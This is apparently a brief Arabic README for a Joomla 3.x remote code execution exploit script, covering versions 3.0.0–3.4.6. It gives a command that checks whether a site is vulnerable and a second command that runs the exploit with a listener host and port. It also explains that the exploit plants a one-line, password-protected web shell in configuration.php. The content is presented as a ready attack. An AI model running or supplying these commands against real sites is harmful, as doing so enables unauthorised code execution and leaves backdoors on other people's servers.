Joomla-3.4.6---configuration.php-Remote-Code-Execution

النطاق المتأثر: 3.0.0-3.4.6

1. التحقق من الثغرة

python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4

إظهار "Vulnerable" يثبت وجود الثغرة

python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121

تم التنفيذ بنجاح

ويقوم بكتابة ويب شيل من سطر واحد بكلمة مرور عشوائية في "configuration.php"